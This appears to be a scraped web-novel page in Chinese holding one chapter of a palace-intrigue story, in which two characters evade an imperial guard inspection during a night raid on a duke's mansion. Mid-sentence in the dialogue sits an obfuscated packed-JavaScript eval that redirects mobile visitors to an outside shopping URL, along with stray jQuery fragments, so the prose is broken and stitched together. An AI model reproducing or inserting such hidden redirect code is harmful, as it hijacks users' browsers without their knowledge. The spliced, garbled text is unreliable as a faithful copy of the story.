文趣网 > 其他小说 > 被阴湿世子盯上后 > 第165章 暗夜无题
    寒风凛冽,夜色如墨。

    马车轧着石板路,朝着国公府的方向飞驰而去。

    多日未去国公府,燕玦挂念国公夫人的病情,打算摸黑溜进去探望几眼。

    可未等赶至国公府所在的街坊,车外便传来急促且聒噪的马蹄声。

    地面被震得微颤,听起来不像是几匹马的阵仗。

    心头莫名浮起一丝不详的预感,楚玖与燕玦匆匆对视后,撩起车帘,探头看向车外。

    只见一队兵马陆续从街口飞闪而过,直冲国公府的方向。

    在瞧国公府所在的方向,半边夜空已被火光映得通红。

    此番情景,楚玖再熟悉不过。

    天家抄家拿人,惯是在夜色最深之时。

    圣旨一至,官兵破门而入,雷霆万钧,让人惊醒于梦中,惊慌失措之间,仍分不清是现实还是场噩梦。

    “莫不是定国公的事出了什么变故?”楚玖急道。

    燕玦不敢多想,“先去瞧瞧。”

    马车赶至国公府所在的那条巷口,楚玖掀起车帘望过去,只见国公府的门口停了数辆马车,还有了数十名举着火把的官兵,俨然一副抄家的阵仗。

    楚玖不由纳起闷儿来,“定国公还未到京城,罪都没定呢,天家怎就先下令抄家了?”

    燕玦锁眉摇头,透过车窗,直直望着国公府。

    那凤眸里映着火,也燃着火。

    尖叫哭喊之声隐隐传来,国公府里此时何番景象,可想而知。

    而国公夫人又如何独自扛得住这天降横祸?

    燕玦按捺不住,提剑欲起。

    楚玖紧忙拽住他,低声劝阻。

    “你现在冲过去就是送死,除了逞匹夫之勇,根本起不到任何作用。”

    “万不可意气用事,毁了接下来所有筹谋。”

    “躲在暗处伺机行动,才有机会救你母亲和燕珩。”

    映在车壁上的身影高大却又脆弱,静止了片刻,最终还是俯身坐了回去。

    此地不宜久留,楚玖立刻命马夫掉头回府。

    可车轱辘刚滚了几圈,迎面便来了一队禁卫军。

    “停车!”

    马夫不敢违命,只好勒紧缰绳,将马车停下。

    “见过官爷,不知官爷所为何事?”

    只听有人拖着声调,厉声质问:“三更半夜的,哪家的人,从哪来,又往哪儿去啊?”

    担心禁卫军会上车察看,楚玖立刻灭了头顶的吊灯,而燕玦则戴上了燕珩先前用的面具。

    “回官爷,我们是楚府的,车里坐的是楚画直和她养的门客,夜里在一家酒馆吃酒吃得晚了些,现在正赶着要回楚府呢。”马夫毕恭毕敬地回了话。

    “楚画直?”

    对方念了一句,翻身下马,戏谑道:“那就让我察看一番,看看这车里的可是那个把艳俗当风雅,水性杨花的泼墨先生!”

    脚步声渐近,楚玖掀帘走出车厢,用身子挡住了车帘。

    她站在车辕上,不卑不亢地垂眼看向对方。

    “呦,我当什么样的公狗在这里汪汪叫呢。”

    楚玖啧啧咂舌,目光轻蔑道:“就你这姿色,跟我们楚风馆的公子比,连下等货色都算不上,白送给我水性杨花,我都花不起来呢。”

    掏出御牌,楚玖神色得意冲那人晃了晃。

    “另外,天家欣赏我画的丹青,特赐御牌于我。”

    “若按你刚才所言,天家也是个把艳俗当风雅之人了?”

    话落,楚玖立马捂住嘴,佯做惊觉之色,“哎呀,这话若是传到天家耳朵里,不知天家会如何想呢?”

    对方的神色当即垮了下来,跨出的步子也跟着收了回去。

    御牌之下,那人气势弱了下来。

    不情不愿地拱手道:“例行公事,凡是途经国公府附近的马车,皆须查看,还请楚画直通融一下。”

    话落,那人同手下偏头示意。

    “上去瞧一眼。”

    楚玖大大方方让开,让禁卫军的人撩起车帘瞧了一眼。

    幽暗的车厢内,燕玦侧卧在皮毛毯上,似乎睡得正沉。

    楚玖连忙解释一句。

    “我家小官儿不胜酒力,喝醉了。”

    “可为何戴着面具?”言语间,那禁卫军踏进车厢之内,径直朝燕玦脸上的面具伸去。

    楚玖紧步上前,抓住了那人的手,眼神犀利如刃地瞪着对方。

    “这有何可查的,还怀疑我车上装个在逃囚犯不成?”

    那禁卫军倒是好声好气地讲了遍缘由。

    “楚画直有所不知,定国公于回京途中,畏罪潜逃。上头怀疑定国公可能回京城寻妻儿,特命人严加排查。”

    “吾等也是受命办事,后面这么多禁卫军瞧着呢,若有疏忽,保不齐有哪个嘴碎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742257|204534||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的回去告上一状,我们实在担不起罪责啊。”

    话落,那禁卫军甩开楚玖的手,再次朝燕玦脸上的面具伸去。

    眼见着那面具被掀开,楚玖紧张得一颗心都跳到了嗓子眼儿。

    完了!

    这下连燕玦都要进大牢了。

    面具被掀掉,漏出燕玦的半张脸。

    他躺在那里一动不动,仍在装睡。

    “哎呦!”

    “这……”

    那禁卫军看到燕玦那半张脸,惊得手都瑟缩了一下。

    转过头来,他用一种耐人寻味的眼神看向楚玖,“楚画直的品味,甚是独特啊!”

    那停在车外的头头儿,好奇地跳上马车。

    瞥了一眼,疑惑又不服气地道:“就这张烂脸都不如我,楚画直是如何花得起来的?”

    瞧着那半张满是疤痕的脸,楚玖一脸牵强地尬笑道:“器大……乃容。”

    那两禁卫军先是愣了一下,又恍然顿悟地“啊~”了一声,然后不约而同地朝燕玦那处瞧了几眼。

    清了清嗓子,将面具扣回,两位禁卫军朝楚玖拱手施了一礼,终于下车而去。

    待那队禁卫军走远,楚玖像虚脱了一般,摊坐在马车里,长舒了一口气。

    危机解除,燕玦睁开眼,撑身坐起,而那半张疤痕皮便从脸上滑落,掉在那皮毛毯子里。

    楚玖这才想起来,上次燕珩和燕玦两人互换后,这张易容用的假皮便一直留在马车里。

    没想到燕玦急中生智,竟想起了这一茬。

    难怪帘子掀起时,他躺在那儿装睡,敢情是因为来不及将其粘在脸上。

    两人相视苦笑,默契地击了一掌。

    可苦笑过后,两人脸上仅剩愁色。

    事出有变,定国公畏罪潜逃,龙颜震怒,国公府被抄,那关在兵部大牢里的燕珩又会如何?

    且明知妻儿尚在京城,定国公又怎会畏罪潜逃?

    这分明都是天家在背后操控,为自己铲除燕家,制造一个不会被天下诟病的理由。

    一颗心狂跳不安,眼皮也跟着跳个不皮。

    将燕玦送回楚府后,楚玖便拉着楚昭,连夜来到兵部大牢。

    御牌方一示出,守卫便神色肃然地低头抱拳。

    “楚画直见谅,宫中刚降口谕,天家有令,任何人不得探视燕世子,还请楚画直莫要为难小的。”